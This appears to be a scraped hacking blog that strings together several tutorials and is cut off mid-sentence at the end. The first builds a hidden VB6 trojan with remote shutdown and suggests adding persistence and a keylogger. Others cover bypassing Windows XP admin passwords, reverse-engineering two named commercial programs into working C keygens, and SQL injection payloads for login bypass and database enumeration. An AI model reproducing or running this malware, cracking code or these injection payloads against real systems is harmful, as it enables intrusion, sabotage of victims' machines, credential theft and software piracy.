How to write a simple trojan in vb6 | Creating a Virus

<div style="font-family: Georgia,"Times New Roman",serif;">How to write a simple trojan in vb6<br /> <br /> Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code.<br /> The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go<br /> through what you need for both and some sample code.<br /> <br /> Server<br /> <br /> The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it.<br /> To do this you start by using<br /> <br /> Private Sub Form_Load()<br /> Me.Visible = False<br /> End Sub<br /> <br /> This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier.<br /> So to get our application hidden from that a little better we make our code look like this.<br /> <br /> Private Sub Form_Load()<br /> Me.Visible = False<br /> App.TaskVisible = False<br /> End Sub<br /> <br /> (Due to Bill gates, all running exe's will be displayed in the list of running processes. Your app will be hidden in the Running Applications List though )<br /> <br /> So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this<br /> tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!<br /> The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control.<br /> I named my control win but you can name yours what ever.<br /> Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.<br /> <br /> Private Sub Form_Load()<br /> Me.Visible = False<br /> App.TaskVisible = False<br /> win.LocalPort = 2999<br /> win.RemotePort = 455<br /> win.Listen<br /> End Sub<br /> <br /> This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat.<br /> <br /> Then we add this code to our main form:<br /> <br /> Private Sub win_ConnectionRequest(ByVal requestID As Long)<br /> win.Close<br /> win.Accept requestID<br /> End Sub<br /> <br /> Private Sub win_DataArrival(ByVal bytesTotal As Long)<br /> win.GetData GotDat<br /> DoActions (GotDat)<br /> End Sub<br /> <br /> We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.<br /> <br /> For the DoActions code, we want to make a public function in the module. (Public so it can be used by code outside of the Module) So add this code to the module and we are about done with the server<br /> of the Trojan!<br /> <br /> Public Function DoActions(x As String)<br /> <br /> Select Case x<br /> Case "msgbox"<br /> Msgbox "The file C:windowsgetboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"<br /> <br /> Case "shutdown"<br /> shell "shutdown -s -f -t 00"<br /> End Select<br /> End Function<br /> <br /> Ok now we have a program that when the data “Msgbox” is sent to it on port 2999 it will display a msgbox on the victims computer. When the data "shutdown" is sent to it on port 2999 it will shutdown the computer. I used a Select Case statement so it is easy to modify this code to your own needs later on.<br /> <br /> Congradulations! You just made your first Trojan. Lets go over the complete code now.<br /> <br /> Main Form<br /> <br /> Private Sub Form_Load()<br /> Me.Visible = False<br /> App.TaskVisible = False<br /> win.LocalPort = 2999<br /> win.RemotePort = 455<br /> win.Listen<br /> End Sub<br /> <br /> Pivate Sub win_ConnectionRequest(ByVal requestID As Long)<br /> win.Close<br /> win.Accept requestID<br /> End Sub<br /> <br /> Private Sub win_DataArrival(ByVal bytesTotal As Long)<br /> win.GetData GotDat<br /> DoActions (GotDat)<br /> End Sub<br /> <br /> Remember to add your winsock control and name it to win if you use this code.<br /> <br /> Module<br /> <br /> Public Function DoActions(x As String)<br /> <br /> Select Case x<br /> Case "msgbox"<br /> Msgbox "The file C:windowsgetboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"<br /> <br /> Case "shutdown"<br /> shell "shutdown -s -f -t 00"<br /> End Select<br /> End Function<br /> <br /> That’s all there is to the server side or Trojan part of it. Now on to the Client.<br /> <br /> Client<br /> <br /> The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server<br /> that accepts the command of “shutdown” and "msgbox" lets make a client that sends the command “shutdown” and "msgbox".<br /> <br /> Make a form and add a Winsock Control, a text box, and 4 buttons. The Text box should be named txtIP if you want it to work with this code.<br /> In addition, your buttons should be named cmdConnect, cmdMsgbox, cmdShutdown, and cmdDisconnect. Now lets look at the code we would use to make our<br /> Client.<br /> <br /> Private Sub cmdConnect_Click()<br /> IpAddy = txtIp.Text<br /> Win.Close<br /> Win.RemotePort = 2999<br /> Win.RemoteHost = IpAddy<br /> Win.LocalPort = 9999<br /> Win.Connect<br /> cmdConnect.Enabled = False<br /> End Sub<br /> <br /> Private Sub cmdDisconnect_Click()<br /> Win.Close<br /> cmdConnect.Enabled = True<br /> End Sub<br /> <br /> Private Sub cmdMsgbox_Click()<br /> Win.SendData "msgbox"<br /> End Sub<br /> <br /> Private Sub cmdShutdown_Click()<br /> Win.SendData "shutdown"<br /> End Sub<br /> <br /> That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send<br /> the “shutdown” or "msgbox" data to the server and the respective actions will be carried out (shutdown computer or display a msgbox)<br /> <br /> These two programs do very little but can quickly evolve into a powerful remote administration tool if you know what you are doing. I suggest trying<br /> to add different types of error handling and functions to both the server and client.<br /> <br /> Ideas:<br /> <br /> Make the server able to download a file specified by the attacker<br /> <br /> Add code to make the Server be executed at startup. (Its a registry key)<br /> <br /> Add a keylogger to the server - make it send the log to the attacker. There are loads more things you could do, just use your imagination</div><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/6641693640613879327-4187176856719808428?l=www.geekhack.in" width="1" /></div><img height="1" src="http://feeds.feedburner.com/~r/blogspot/hIwd/~4/mfWjqEKNkIs" width="1"/>

How to write a simple trojan in vb6 | Creating a Virus

How to write a simple trojan in vb6 Writing a Trojan is a lot easier than most people think. All it really involves is two simple applica...

Continue Reading>>

Resetting Admin XP Password

<div style="font-family: Georgia,"Times New Roman",serif;">Every Way Possible to Reset an XP Password<br /> <br /> This article has every possible method on how you can reset an XP password.<br /> Recovering lost administrator windows N4/XP/Vista isn’t a complicated task and I know several easy ways to do so. Which method you’d use it’s up to you, but I usually try ERD first. But first things first â€" let’s present the options:<br />  </div><div style="font-family: Georgia,"Times New Roman",serif;"><b>Option #1</b><br /> <br /> ERD â€" Emergency recovery disk. Using this method you need to prepare ahead, by downloading one of FREE ERD tools and burning it onto CD.<br /> <br /> ERDs are Free Windows password-cracking tools are usually Linux boot disks that have NT file system (NTFS) drivers and software that will read the registry and rewrite the password hashes for any account including the Administrators. This process requires physical access to the console but it works like a charm! I've done it myself several times with no glitch or problem whatsoever.<br /> <br /> Caution: If used on users that have EFS encrypted files, and the system is XP or later service packs on W2K, all encrypted files for that user will be UNREADABLE! And cannot be recovered unless you remember the old password again!<br /> <br /> Pros: Quick, Works in 99% of cases.<br /> <br /> Cons: Might seem complicated for notice user, doesn’t work with certain SATA disk and/or Raid controllers<br /> <br /> Here are my favorite tools:<br /> <br /> Petter Nordahl-Hagen's Offline NT Password & Registry Editor - A great boot CD/Floppy that can reset the local administrator's password. (The only tool for Windows VISTA)<br /> <br /> EBCD â€" Emergency Boot CD - Bootable CD, intended for system recovery in the case of software or hardware faults.<br /> <br /> Offline NT Password & Registry Editor (v060213 - February 2006)<br /> Petter Nordahl-Hagen has written a Windows NT/2000/XP/Vista offline password editor:<br /> <br /> http://home.eunet.no/~pnordahl/ntpasswd<br /> <br /> · This is a utility to (re)set the password of any user that has a valid (local) account on your Windows NT/2000/XP/2003/Vista system, by modifying the encrypted password in the registry's SAM file.<br /> <br /> · You do not need to know the old password to set a new one.<br /> <br /> · It works offline, that is, you have to shutdown your computer and boot off a floppy disk or CD. The boot-disk includes stuff to access NTFS partitions and scripts to glue the whole thing together.<br /> <br /> · Works with syskey (no need to turn it off, but you can if you have lost the key)<br /> <br /> · Will detect and offer to unlock locked or disabled out user accounts!<br /> <br /> Download links:<br /> <br /> · cd060213.zip (~3MB) - Bootable CD image with newer drivers<br /> <br /> · bd050303.zip (~1.1MB) - Bootdisk image, date 050303.<br /> <br /> · sc050303.zip(~1.4MB) - SCSI-drivers (050303) (only use newest drivers with newest bootdisk, this one works with bd050303)<br /> <br /> To write these images to a floppy disk you'll need RawWrite2 which is included in the Bootdisk image download. To create the CD you just need to use your favorite CD burning program and burn the .ISO file to CD. I personally prefer CD option since I don’t have to fiddle around with antique technology like floppy drives, besides most of new pc don’t have floppy drive at all.<br /> <br /> Support and Problems? Good FAQ set up covering most of the day-to-day questions. Read it right HERE<br /> <br /> Author claims that this tool was successfully tested on NT 3.51, NT 4, Windows 2000 (except datacenter), Windows XP (all versions) and Window Server 2003. Notice that it is NOT compatible with Active Directory. To work around this limitations please read the Forgot the Administrator's Password? - Reset Domain Admin Password in Windows Server 2003 AD page.<br /> <br /> EBCD â€" Emergency Boot CD (v0.61 - October 2004)<br /> EBCD is a bootable CD, intended for system recovery in the case of software or hardware faults. It is able to create backup copies of normally working system and restore system to saved state. It contains the best system software ever created, properly compiled and configured for the maximum efficient use.<br /> <br /> EBCD will be very useful when you need to:<br /> <br /> · Copy/move files (with long names, not necessary in CP437 encoding) from/to the disk but OS which can handle them (windows, Linux...) cannot boot. In particular, you may create a backup copy of normally installed and configured Windows and later restore Windows from such backup copy. So, in the case of fault OS itself and all software and its settings can be restored in 5-10 minutes.<br /> <br /> · Perform emergency boot of Windows NT / 2000 / XP. When the loader of this OS on the hard disk is damaged or misconfigured, you are able to load OS using another, standalone loader from this CD.<br /> <br /> · Recover master boot record of HDD. This allows to boot OS after incorrect uninstallation of custom loader (LILO, for example), which made all OS on your PC not bootable.<br /> <br /> · Delete, move, copy to file (image) and re-create partition from file. Image transfer over network is also supported: so you may configure one PC and then make contents of hard disks of other PCs same as contents of the hard disk of the first one.<br /> <br /> · Change password of any user, including administrator of Windows NT/2000/XP OS. You do not need to know the old password.<br /> <br /> · Recover deleted file, even file re-deleted from Windows Recycle Bin, and, in contrast, wipe single file or a whole disk so that it will be impossible to recover it in any way.<br /> <br /> · Recover data from accidentally formatted disk. Sometimes it helps to recover data from the disk, damaged by a virus.<br /> <br /> · Recover data from a floppy disk, which is not readable by OS. Format 3.5" disk for 1.7 Mb size.<br /> <br /> Also the disk includes full set of external DOS commands, console versions of the most popular archivers/compressors.<br /> <br /> Moreover, emergency boot CD includes minimal Linux distribution (Rescue Linux distribution) which may be very useful to a professional user.<br /> <br /> Download links:  EBCD Pro distribution (18mb)<br /> <br /> <b>Option #2</b><br /> <br /> Lets say, worst happened â€" its past 11pm, you are still at work, accidentally forgot admin password and ALL ERD tools don’t work, since the pc you are working on have non-standard disk controller. What to do???<br /> <br /> Luckily for us, Microsoft left loophole, big enough to do the task relatively easy:<br /> <br /> 1. Place in windows XP CD and start your computer (it’s assumed here that your XP CD is bootable â€" as it should be - and that you have your bios set to boot from CD)<br /> <br /> 2. Keep your eye on the screen messages for booting to your cd usually it will be “Press any key to boot from cd”<br /> <br /> 3. Begin windows Repair process.<br /> <br /> 4. During the reboot, do not make the mistake of “pressing any key” to boot from the CD again!<br /> <br /> 5. Keep your eye on the lower left hand side of the screen and when you see the Installing Devices progress bar, press SHIFT + F10. This is the security hole! A command console will now open up giving you the potential for wide access to your system.<br /> <br /> From here you can run any windows command and you’ll have full administrator access. To reset password you can use ether of two ways:<br /> <br /> 1) Run NUSRMGR.CPL to get graphical interface<br /> <br /> 2) Run Compmgmt.msc to get Computer Management console. From there use Local User and Groups->User</div><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/6641693640613879327-4833395853538560063?l=www.geekhack.in" width="1" /></div><img height="1" src="http://feeds.feedburner.com/~r/blogspot/hIwd/~4/NrlGUk5gMwc" width="1"/>

Resetting Admin XP Password

Every Way Possible to Reset an XP Password This article has every possible method on how you can reset an XP password. Recovering lost a...

Continue Reading>>

How to Make Key Generators

<div style="font-family: Georgia,"Times New Roman",serif;">How to Make Key Generators<br /> <br /> In this tutorial I will show how to make a key-gen for Ize and Swiftsearch. The protection that these programs use is the well known Enter-Name-and-Registration-Number method. After selecting 'register', a window pops up where you can enter your name and your registration number. The strategy here is to find out where in memory the data you enter is stored and then to find out what is done with it.<br /> <br /> Part 1: Scanline Swiftsearch 2.0!<br /> <br /> Swiftsearch is a useful little program that you can use to search on the web. I will explain step by step how to crack it.<br /> <br /> step 1. Start the program :)<br /> <br /> step 2: Choose register from the menus. You will now get a window where you can enter your name and your registration number.<br /> <br /> step 3: Enter SoftIce (ctrl-d)<br /> <br /> step 4: We will now set a breakpoint on functions like GetWindowText(a) and GetDlgItemText(a) to find out where in memory the data that we just entered is stored. The function that is used by this program is GetDlgItemTexta (trial and error, just try yourself :) so, in SoftIce type BPX GetDlgItemTexta and exit SoftIce with the g command.<br /> <br /> step 5: Now type a name and a registration number (I used razzia and 12345) and press OK, this will put you back in SoftIce. Since you are now inside the GetDlgItemTexta function press F11 to get out of it. You should see the following code:<br /> <br /> lea eax, [ebp-2C] :<--- we are looking for this location<br /> push eax<br /> push 00000404<br /> push [ebp+08]<br /> call [USER32!GetDlgItemTextA]<br /> mov edi, eax :<--- eax has the length of the string<br /> and is stored in edi for later usage.<br /> <br /> We see that EAX is loaded with a memory address and then pushed to the stack as a parameter for the function GetDlgItemTextA. Since the function GetDlgItemTextA is already been run we can look at EBP-2c (with ED EDP-2c) and see that the name we entered is there. Now we know where the name is stored in memory, normally it would be wise to write that address down, but we will see that in this case it wont be necessary.<br /> So, what next? Now we have to allow the program to read the registration number we entered. Just type g and return and when back in SoftIce press F11. You should see the following code:<br /> <br /> push 0000000B<br /> lea ecx, [ebp-18] : <--So, ebp-18 is where the reg. number<br /> push ecx : is stored.<br /> push 0000042A<br /> push [ebp+08]<br /> call [USER32!GetDlgItemTextA]<br /> mov ebx, eax : <--save the lenght of string in EBX<br /> test edi, edi : <--remember EDI had the lenght of the<br /> jne 00402FBF : name we entered?<br /> We see that the registration number is stored at location EBP-18 , check it with ED EBP-18. Again, normally it would be wise to note that address down. Also we see that it is checked if the length of the name we gave was not zero. If it is not zero the program will continue.<br /> <br /> Step 6: Ok, now we know where the data we entered is stored in memory. What next?<br /> Now we have to find out what is DONE with it. Usually it would we wise to put breakpoints on those memory locations and find out where in the program they are read. But in this case the answer is just a few F10's away. Press F10 until you see the following code :<br /> <br /> cmp ebx, 0000000A :<--remember EPX had the length of the<br /> je 00402FDE : registration code we entered?<br /> These two lines are important. They check if the length of the registration code we entered is equal to 10. If not the registration number will be considered wrong already. The program wont even bother to check it. Modify EBX or the FLAG register in the register window to allow the jump. Continue Pressing F10 until you get to the following code (note that the adresses you will see could be different) :<br /> <br /> :00402FDE xor esi, esi :<-- Clear ESI<br /> :00402FE0 xor eax, eax :<-- Clear EAX<br /> :00402FE2 test edi, edi<br /> :00402FE4 jle 00402FF2<br /> :00402FE6 movsx byte ptr ecx, [ebp + eax - 2C] :<-- ECX is loaded with a letter of the name we entered.<br /> :00402FEB add esi, ecx :<-- Add the letter to ESI<br /> :00402FED inc eax :<-- Increment EAX to get next letter<br /> :00402FEE cmp eax, edi :<-- Did we reach the end of the string?<br /> :00402FF0 jl 00402FE6 :<-- If not, go get the next letter.<br /> <br /> Well, we see that the program adds together all the letters of the name we entered. Knowing that ESI contains the sum of the letters, lets continue and find out what the program does with that value :<br /> <br /> :00402FF2 push 0000000A<br /> :00402FF4 lea eax, [ebp-18] :<-- Load EAX with the address of the reg. number we entered<br /> :00402FF7 push 00000000<br /> :00402FF9 push eax :<-- Push EAX (as a parameter for the following function)<br /> :00402FFA call 00403870 :<-- Well, what do you think this function does? :)<br /> :00402FFF add esp, 0000000C<br /> :00403002 cmp eax, esi :<-- Hey!<br /> :00403004 je 00403020<br /> <br /> We see that a function is called and when RETurned ESI is compared with EAX. Hmm, lets look at what's in EAX. A '? EAX' reveals :<br /> 00003039 0000012345 "09"<br /> <br /> Bingo. That's what we entered as the registration number. It should have been what's inside ESI. And we know what's inside ESI, the sum of the letters of the name we entered!<br /> Step 7: Now we know how the program computes the registration code we can make a key-gen.<br /> But we should not forget that the program checks also that the registration number has 10<br /> digits.<br /> A simple C code that will compute the registration number for this program could look like this:<br /> <br /> ##################################################################<br /> #include<br /> #include<br /> main()<br /> {<br /> char Name[100];<br /> int NameLength,Offset;<br /> long int Reg = 0, Dummy2 = 10;<br /> int Dummy = 0;<br /> int LengtDummy = 1;<br /> int Lengt , Teller;<br /> printf("Scanline SwiftSearch 2.0 crack by neo.n");<br /> printf("Enter your name: ");<br /> gets(Name);<br /> NameLength=strlen(Name);<br /> <br /> /* the for lus calculates the sum of the letters in Name */<br /> /* and places that value in Reg */<br /> for (Offset=0;Offset<br /> {<br /> Reg=Reg+Name[Offset];<br /> }<br /> /* the while lus calculates the lenght of the figure in */<br /> /* Reg and places it in Lengt */<br /> while (Dummy != 1)<br /> {<br /> if ( Reg < Dummy2 )<br /> { Lengt = LengtDummy ; Dummy =1;<br /> }<br /> else<br /> { LengtDummy=LengtDummy + 1; Dummy2=Dummy2*10;<br /> }<br /> };<br /> printf("nYour registration number is : " );<br /> /* First print 10-Lengt times a 0 */<br /> Lengt=10-Lengt;<br /> for (Teller=1;Teller<=Lengt;Teller=Teller+1) printf("0");<br /> /* Then print the registration number */<br /> printf("%lun",Reg);<br /> }<br /> <br /> <br /> <br /> <br /> Case 2 Ize 2.04 from Gadgetware<br /> Ize from Gadgetware is a cute little program that will put a pair of eyes on your screen which will<br /> follow your mousepointer. It has a register function where you can enter your name and a registration<br /> number. The strategy in this case is still the same : Find out where in memory the entered information<br /> is stored and then find out what is done with that information.<br /> <br /> Step 1: Start Ize. Chose register and enter a name and a number. I used 'razzia' and '12345'.<br /> <br /> Sterp 2: Enter (CTRL-D) Softice and set a breakpoint on GetDlgItemTextA.<br /> <br /> Step 3: Leave SoftIce and press OK. This will put you back in Softice. You will be inside the GetDlgItemTextA<br /> function. To get out of it press F11. You should see the following code :<br /> <br /> mov esi, [esp + 0C]<br /> push 00000064<br /> push 0040C3A0 :<--On this memory location the NAME we entered will be stored.<br /> mov edi, [USER32!GetDlgItemTextA] :<--Load edi with adress of GetDlgItemTextA<br /> push 00004EE9<br /> push esi<br /> call edi :<-- Call GetDlgItemTextA<br /> push 00000064 :<-- (you should be here now)<br /> push 0040C210 :<--On this memory location the NUMBER we entered will be stored<br /> push 00004EEA<br /> push esi<br /> call edi :<-- Call GetDlgItemTextA<br /> <br /> We see that the function GetDlgItemTextA is called twice in this code fragment. The first call has<br /> already happened. With ED 40C3A0 we can check that the name we entered is stored on that location.<br /> To allow the program to read in the number we entered we type G and enter. Now we are inside the Get-<br /> DlgItemTextA function again and we press f11 to get out of it. We check memory location 40C210 and<br /> we see the number we entered is stored there.<br /> Now we know the locations were the name and the number are stored,we note those down!<br /> <br /> Step 4: Ok, what next? We now know where in memory the name and the number are stored. We need to find out<br /> what the program does with those values. In order to do that we could set breakpoints on those memory<br /> locations to see where they are read. But in this case it wont be necessary. The answer is right after the<br /> above code :<br /> <br /> push 0040C210 :<--save the location of the number we entered (as a parameter for the next call)<br /> call 00404490 :<-- call this unknown function<br /> add esp, 00000004<br /> mov edi, eax :<-- save EAX (hmmmm)<br /> <br /> We see a function being called with the number-location as a parameter. We could trace into the function and see what it does, but that is not needed. With your experience of the Swiftsearch<br /> example you should be able to guess what this function does. It calculates the numerical value of the registration number and puts it in EAX. To be sure we step further using F10 untill we are past the call and check the contents of EAX (with ? EAX). In my case it showed : 00003039 0000012345 "09".<br /> <br /> Knowing that EDI contains our registration number we proceed:<br /> push 0040C3A0 :<-- save the location of the name we entered (as a parameter for the next call)<br /> push 00409080 :<-- save an unknown memory-location (as a parameter for the next call)<br /> call 004043B0 :<--call to an unknown function<br /> add esp, 00000008<br /> cmp edi, eax :<--compare EDI (reg # we entered) with EAX (unknown, since the previous call changed it)<br /> jne 004018A1 :<--jump if not equal<br /> We see that a function is called with two parameters. One of the parameters is the location of the name<br /> we entered. The other we dont know, but we can find out with ED 409080. We see the text 'Ize'.<br /> This function calculates the right registration number using those two parameters. If you just want to<br /> crack this program, you can place a breakpoint right after the call and check the contents of EAX. It will<br /> contain the right registration number. But since we want to know HOW the reg. # is calculated we will trace inside the function (using T). We will then try to find out HOW the contents of EAX got in there.<br /> <br /> Step 5: Once inside the interesting function you will see that we are dealing with a rather long function. It wont be necessary for me to include the complete listing of this function, because we wont need all of it to make our key-gen.<br /> But in order find out which part of the code is essential for the computation of the right registration number, you have to trace STEP by STEP and figure out what EXACTLY is going on!<br /> <br /> Afther doing this i found out that the first part of the function computes some kind of "key". Then this<br /> "key" is stored in memory and in that way passed on to the second part of the function.<br /> The second part of the function then computes the right registration number, based on this "key" AND<br /> the name we entered.<br /> The code that is essential and that we need for our key-gen is the following:<br /> ( Note that before the following code starts, the registers that are used will have the following values:<br /> EBX will point to the first letter of the name we entered,<br /> EDX will be zero,<br /> EBP will be zero,<br /> The "key" that we talked about earlier is stored in memory location 0040B828 and will<br /> have 0xA4CC as its initial value. )<br /> <br /> <br /> :00404425 movsx byte ptr edi, [ebx + edx] :<-- Put first letter of the name in EDI<br /> :00404429 lea esi, [edx+01] :<-- ESI gets the "letter-number"<br /> :0040442C call 00404470 :<-- Call function<br /> :00404431 imul edi, eax :<-- EDI=EDI*EAX (eax is the return value of the the previous call)<br /> :00404434 call 00404470 :<-- Call function<br /> :00404439 mov edx, esi<br /> :0040443B mov ecx, FFFFFFFF<br /> :00404440 imul edi, eax :<-- EDI=EDI*EAX (eax is the return value of the previous call)<br /> :00404443 imul edi, esi :<-- EDI=EDI*ESI ( esi is the number of the letter position)<br /> :00404446 add ebp, edi :<-- EBP=EBP+EDI (beware that EBP will finally contain the right reg#)<br /> :00404448 mov edi, ebx :<--these lines compute the lenght of the name we entered<br /> :0040444A sub eax, eax :<--these lines compute the lenght of the name we entered<br /> :0040444C repnz :<--these lines compute the lenght of the name we entered<br /> :0040444D scasb :<--these lines compute the lenght of the name we entered<br /> :0040444E not ecx :<--these lines compute the lenght of the name we entered<br /> :00404450 dec ecx :<-- ECX now contains the lenght of the name<br /> :00404451 cmp ecx, esi<br /> :00404453 ja 00404425 :<-- If its not the end of the name , go do the same with the next letter<br /> :00404455 mov eax, ebp :<-- SAVE EBP TO EAX !!!!<br /> :00404457 pop ebp<br /> :00404458 pop edi<br /> :00404459 pop esi<br /> :0040445A pop ebx<br /> :0040445B ret<br /> _____<br /> :00404470 mov eax, [0040B828] :<-- Put "key" in EAX<br /> :00404475 mul eax, eax, 015A4E35 :<-- EAX=EAX * 15A4E35<br /> :0040447B inc eax :<-- EAX=EAX + 1<br /> :0040447C mov [0040B828], eax :<-- Replace the "key" with the new value of EAX<br /> :00404481 and eax, 7FFF0000 :<-- EAX=EAX && 7FFF0000<br /> :00404486 shr eax, 10 :<-- EAX=EAX >>10<br /> :00404489 ret<br /> <br /> <br /> The above code consists of a loop that goes trough all the letters of the name we entered. With each<br /> letter some value is calculated, all these values are added up together (in EBP). Then this value is stored<br /> in EAX and the function RETurns. And that was what we were looking for, we wanted to know how EAX got its value!<br /> <br /> Step 6: Now to make a key-gen we have to translate the above method of calculating the right reg# into a<br /> c program. It could be done in the following way :<br /> (Note : I am a bad c programmer :)<br /> <br /> #include<br /> #include<br /> main()<br /> {<br /> char Name[100];<br /> int NameLength,Offset;<br /> unsigned long Letter,DummyA;<br /> unsigned long Key = 0xa4cc;<br /> unsigned long Number = 0;<br /> printf("Ize 2.04 crack by neon");<br /> printf("Enter your name: ");<br /> gets(Name);<br /> NameLength=strlen(Name);<br /> for (Offset=0;Offset<br /> {<br /> Letter=Name[Offset];<br /> DummyA=Key;<br /> DummyA=DummyA*0x15a4e35;<br /> DummyA=DummyA+1;<br /> Key=DummyA;<br /> DummyA=DummyA & 0x7fff0000;<br /> DummyA=DummyA >> 0x10;<br /> Letter=Letter*DummyA;<br /> DummyA=Key;<br /> DummyA=DummyA*0x15a4e35;<br /> DummyA=DummyA+1;<br /> Key=DummyA;<br /> DummyA=DummyA & 0x7fff0000;<br /> DummyA=DummyA >> 0x10;<br /> Letter=Letter*DummyA;<br /> Letter=Letter*(Offset+1);<br /> Number=Number+Letter;<br /> }<br /> printf("nYour registration number is : %lun",Number);<br /> }<br /> ####################################################</div><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/6641693640613879327-8274567503359773372?l=www.geekhack.in" width="1" /></div><img height="1" src="http://feeds.feedburner.com/~r/blogspot/hIwd/~4/eddTcMfjF4U" width="1"/>

How to Make Key Generators

How to Make Key Generators In this tutorial I will show how to make a key-gen for Ize and Swiftsearch. The protection that these programs...

Continue Reading>>

Hacking Database Servers | Database Hacking

<div style="font-family: Georgia,"Times New Roman",serif;">Hacking Database Servers<br /> <br /> Databases have been the heart of a commercial website. An attack on the database servers can cause a great monetary loss for the company. Database servers are usually hacked to get the credit card information. And just one hack on a commercial site will bring down its reputation and also the customers as they also want their credit card info secured. Most of the commercial websites use Microsoft sql (MSsql) and Oracle database servers. MS sql still owns the market because the price is very low. While Oracle servers come with high price. Well some time ago Oracle had claimed itself to be “unbreakableâ€� But hackers took it as a challenge and showed lots of bugs in it also !! I was addicted to hacking of database servers from a few months. So I just decided to share the knowledge with others. Well the things discussed here are not discovered by me ok. Yeah I experimented with them a lot.<br /> <br /> user will type his login name and password in login.htm page and click the submit button. The value of the text boxes will be passed to the logincheck.asp page where it will be checked using the query string. If it doesn't get an entry satisfying the query and will reach end of file a message of login failed will be displayed. Every thing seems to be OK. But wait a minute. Think again. Is every thing really OK ?!! What about the query ?!! Is it OK. Well if you have made a page like this then a hacker can easily login successfully without knowing the password. How ? Lets look at the querry again.<br /> <br /> "Select * from table1 where login='"&log& "' and password='" &pwd& "' "<br /> <br /> Now if a user types his login name as "Chintan" and password as "h4x3r" then these values will pass to the asp page with post method and then the above query will become<br /> <br /> "Select * from table1 where login=' Chintan ' and password=' h4x3r ' "<br /> <br /> Thats fine. There will be an entry Chintan and h4x3r in login and password fields in the database so we will receive a message as login successful. Now what if I type loginname as "Chintan" and password as<br /> hi' or 'a'='a in the password text box ? The query will become as follows:<br /> <br /> "Select * from table1 where login=' Chintan ' and password=' hi' or 'a'='a ' "<br /> <br /> And submit and bingo!!!!! I will get the message as Login successful !! Did you see the smartness of hacker which was due to carelessness of web designer ? !!<br /> The query gets satisfied as query changes and password needs to 'hi' or 'a' needs to be equal to 'a'. Clearly password is not 'hi' but at the same time 'a'='a' . So condition is satisfied. And a hacker is in with login "Chintan" !! You can try the following in the password text box if the above doesn't work for some websites:<br /> <br /> hi" or "a"="a<br /> hi" or 1=1 --<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> hi") or ("a"="a<br /> <br /> Here above -- will make the rest of the query string to be a comment other conditions will not be checked. Similary you can provide<br /> <br /> Chintan ' --<br /> Chintan " --<br /> <br /> or such types of other possibilites in the login name textbox and password as anything which might let you in. Because in the query string only login name is checked as "Chintan" and rest is ignored due to --. Well if you are lucky enough you get such a website were the webdesigner has done the above mistake and then you will be able to login as any user !!!<br /> <br /> IMP NOTE: Hey guys I have put up a page where you can experiment for yourself about the sql injection vulnerablity. Just go to www33.brinkster.com/chintantrivedi/login.htm<br /> <br /> More advance hacking of Databases using ODBC error messages!!!<br /> --------------------------------------------------------------<br /> <br /> Above we saw as to how login successfully without knowing password. Now over here I will show you how to read the whole database just by using queries in the URL !! And this works only for IIS i.e asp pages. And we know that IIS covers almost 35% of the web market. So you will definitely get a victim just after searching a few websites. You might have seen something like<br /> <br /> http://www.nosecurity.com/mypage.asp?id=45<br /> <br /> in the URLs. '?' over there shows that after it, 45 value is passed to a hidden datatype id. Well if you don't understand then as we have seen in the above example in the login.htm, having two input text types with names 'login_name' and 'pass' and there values were passed to logincheck.asp page. The same thing can be done by directly opening the logincheck.asp page using<br /> http://www.nosecurity.com/logincheck.asp?login_name=Chintan&pass=h4x3r<br /> in the URL if method="get" is used instead of method="post".<br /> <br /> Note : or Difference between get and post method is that post method doesn't show up values passed to next paged in the url while get method shows up the values. To get more understanding of how they internally work read HTTP protocol RFC 1945 and RFC 2616.<br /> <br /> What i mean to say is that after '?' the variables which are going to be used in that page are assigned the values. As above login_name is given value Chintan. And different variables are separated by operator '&'.<br /> <br /> OK so coming back, id will mostly be hidden type and according to the links you click its value will change. This value of id is then passed in the query in mypage.asp page and according tothe results you get the desired page at your screen. Now if just change the value of id as 46 then you will get different page.<br /> Now lets start our hacking the database. Lets use the magic of queries. Just type<br /> <br /> http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--<br /> <br /> in the URL. INFORMATION_SCHEMA.TABLES is a system table and it contains information of all the tables of the server. In that there is field TABLE_NAME which contains names of all the tables. See the query again<br /> SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES<br /> The result of this query is the first table name from INFORMATION_SCHEMA.TABLES table. But the result we get is a table name which is a string(nvarchar) and we are uniting it with 45(integer) by UNION. So we will get an error message as<br /> <br /> Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'logintable' to a column of data type int. /mypage.asp, line<br /> <br /> From the error its clear that first table is 'logintable'. It seems that this table might contain login names and passwords :-) So lets move in it. Type the following in the URL<br /> <br /> http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'--<br /> <br /> output<br /> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'<br /> [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar<br /> value 'login_id' to a column of data type int.<br /> /index.asp, line 5<br /> <br /> The above error message shows that the first field or column in logintable is login_id. To get the next 